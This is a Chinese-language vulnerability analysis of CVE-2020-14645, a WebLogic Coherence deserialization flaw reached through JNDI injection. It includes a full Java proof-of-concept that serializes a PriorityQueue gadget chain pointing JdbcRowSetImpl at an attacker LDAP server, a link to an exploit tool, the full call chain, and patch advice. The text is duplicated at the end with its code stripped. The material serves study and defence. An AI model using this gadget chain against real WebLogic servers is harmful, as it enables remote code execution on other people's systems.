Weblogic漏洞分析之JNDI注入-CVE-2020-14645
字数 1833 2025-08-04 00:38:02

WebLogic JNDI注入漏洞分析(CVE-2020-14645)技术文档

1. 漏洞概述

CVE-2020-14645是Oracle在2020年7月发布的安全更新中修复的一个WebLogic反序列化远程代码执行漏洞,CVSS评分为9.8分。该漏洞是对CVE-2020-2883补丁的绕过,通过利用WebLogic 12.2.1.4.0特有的com.tangosol.util.extractor.UniversalExtractor类实现JNDI注入攻击。

2. 影响范围

  • 受影响版本:WebLogic 12.2.1.4.x
  • 受影响组件:Coherence组件

3. 漏洞背景

CVE-2020-2883补丁将MvelExtractorReflectionExtractor列入了黑名单,攻击者需要寻找其他存在extract方法且方法内存在恶意操作的类来绕过补丁。UniversalExtractor类恰好满足这一条件。

4. 漏洞复现

4.1 准备工作

  1. 使用JNDI-Injection-Exploit工具开启LDAP服务端:

    https://github.com/welk1n/JNDI-Injection-Exploit
    
  2. 生成POC文件(使用Y4er师傅的POC):

package com.yyhuni;

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.extractor.UniversalExtractor;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws Exception {
        // CVE_2020_14645
        UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
        final ExtractorComparator comparator = new ExtractorComparator(extractor);
        
        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setDataSourceName("ldap://192.168.202.1:1389/ayicvn");
        
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        Object[] q = new Object[]{rowSet, rowSet};
        
        Field queue1 = queue.getClass().getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue, q);
        
        Field queue2 = queue.getClass().getDeclaredField("size");
        queue2.setAccessible(true);
        queue2.set(queue, 2);
        
        //serial
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(queue);
        objectOutputStream.close();
        
        //unserial
        ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectIntputStream.readObject();
        objectIntputStream.close();
    }
}

4.2 攻击流程

  1. 构造恶意序列化对象
  2. 通过T3协议发送给WebLogic服务器
  3. 触发JNDI注入,执行远程代码

5. 漏洞分析

5.1 完整调用链

PriorityQueue#readObject 
-> heapify() 
-> siftDown(i, (E) queue[i]) 
-> siftDownUsingComparator 
-> comparator.compare(x, (E) c) <= 0 
-> ExtractorComparator#compare 
-> this.m_extractor.extract 
-> UniversalExtractor#extract 
-> UniversalExtractor#extractComplex 
-> method.invoke#205 
-> JdbcRowSetImpl#getDatabaseMetaData

5.2 关键类分析

5.2.1 JdbcRowSetImpl

JdbcRowSetImpl中,调用其getDatabaseMetaData方法会进行lookup操作。如果this.getDataSourceName()参数可控,则会产生JNDI注入。

5.2.2 UniversalExtractor

UniversalExtractor类的extract方法可以调用到JdbcRowSetImplgetDatabaseMetaData方法。

构造函数分析:

UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
  • sName: "getDatabaseMetaData()"
  • aoParam: null
  • nTarget: 1

初始化过程:

  1. 调用getCanonicalName方法
  2. 最终返回"databaseMetaData"(去掉了"get"前缀和"()"后缀)
  3. 设置this.m_fMethod = false

extract方法分析:

  1. 调用extractComplex方法
  2. extractComplex中:
    • clzTarget: JdbcRowSetImpl的Class对象
    • aoParam: null
    • clzParam: null
    • sCName: "databaseMetaData"
    • fProperty: true(因为!this.m_fMethod

关键反射调用:

method.invoke(oTarget, aoParam)
  • method: getDatabaseMetaData
  • oTarget: JdbcRowSetImpl实例
  • aoParam: null

5.2.3 ExtractorComparator

ExtractorComparator类的compare方法会调用UniversalExtractor#extract,并传入o1(即JdbcRowSetImpl实例)。

5.2.4 PriorityQueue

PriorityQueue类是漏洞的入口点,其readObject方法最终会调用到ExtractorComparator#compare方法。

调用过程:

readObject 
-> heapify() 
-> siftDown(i, (E) queue[i]) 
-> siftDownUsingComparator 
-> comparator.compare(x, (E) c)

关键点:

  1. comparator的值来自PriorityQueue构造函数传入的comparator
  2. comparator.compare(x, (E) c)中的xc来自queue数组
  3. size值必须大于等于2才能进入while循环

6. 修复方案

  1. 安装WebLogic官方补丁:p31537019_122140_Generic
  2. 临时缓解措施:
    • 限制T3协议访问
    • 更新JNDI相关安全配置

7. 总结

CVE-2020-14645利用WebLogic 12.2.1.4.0特有的UniversalExtractor类绕过之前的安全补丁,通过精心构造的序列化对象触发JNDI注入,最终实现远程代码执行。该漏洞影响范围有限(仅12.2.1.4.x版本),但危害性极高(CVSS 9.8)。

WebLogic JNDI注入漏洞分析(CVE-2020-14645)技术文档 1. 漏洞概述 CVE-2020-14645是Oracle在2020年7月发布的安全更新中修复的一个WebLogic反序列化远程代码执行漏洞,CVSS评分为9.8分。该漏洞是对CVE-2020-2883补丁的绕过,通过利用WebLogic 12.2.1.4.0特有的 com.tangosol.util.extractor.UniversalExtractor 类实现JNDI注入攻击。 2. 影响范围 受影响版本:WebLogic 12.2.1.4.x 受影响组件:Coherence组件 3. 漏洞背景 CVE-2020-2883补丁将 MvelExtractor 和 ReflectionExtractor 列入了黑名单,攻击者需要寻找其他存在 extract 方法且方法内存在恶意操作的类来绕过补丁。 UniversalExtractor 类恰好满足这一条件。 4. 漏洞复现 4.1 准备工作 使用JNDI-Injection-Exploit工具开启LDAP服务端: 生成POC文件(使用Y4er师傅的POC): 4.2 攻击流程 构造恶意序列化对象 通过T3协议发送给WebLogic服务器 触发JNDI注入,执行远程代码 5. 漏洞分析 5.1 完整调用链 5.2 关键类分析 5.2.1 JdbcRowSetImpl 在 JdbcRowSetImpl 中,调用其 getDatabaseMetaData 方法会进行 lookup 操作。如果 this.getDataSourceName() 参数可控,则会产生JNDI注入。 5.2.2 UniversalExtractor UniversalExtractor 类的 extract 方法可以调用到 JdbcRowSetImpl 的 getDatabaseMetaData 方法。 构造函数分析: sName : "getDatabaseMetaData()" aoParam : null nTarget : 1 初始化过程: 调用 getCanonicalName 方法 最终返回"databaseMetaData"(去掉了"get"前缀和"()"后缀) 设置 this.m_fMethod = false extract方法分析: 调用 extractComplex 方法 在 extractComplex 中: clzTarget : JdbcRowSetImpl 的Class对象 aoParam : null clzParam : null sCName : "databaseMetaData" fProperty : true(因为 !this.m_fMethod ) 关键反射调用: method : getDatabaseMetaData oTarget : JdbcRowSetImpl 实例 aoParam : null 5.2.3 ExtractorComparator ExtractorComparator 类的 compare 方法会调用 UniversalExtractor#extract ,并传入 o1 (即 JdbcRowSetImpl 实例)。 5.2.4 PriorityQueue PriorityQueue 类是漏洞的入口点,其 readObject 方法最终会调用到 ExtractorComparator#compare 方法。 调用过程: 关键点: comparator 的值来自 PriorityQueue 构造函数传入的 comparator comparator.compare(x, (E) c) 中的 x 和 c 来自 queue 数组 size 值必须大于等于2才能进入while循环 6. 修复方案 安装WebLogic官方补丁:p31537019_ 122140_ Generic 临时缓解措施: 限制T3协议访问 更新JNDI相关安全配置 7. 总结 CVE-2020-14645利用WebLogic 12.2.1.4.0特有的 UniversalExtractor 类绕过之前的安全补丁,通过精心构造的序列化对象触发JNDI注入,最终实现远程代码执行。该漏洞影响范围有限(仅12.2.1.4.x版本),但危害性极高(CVSS 9.8)。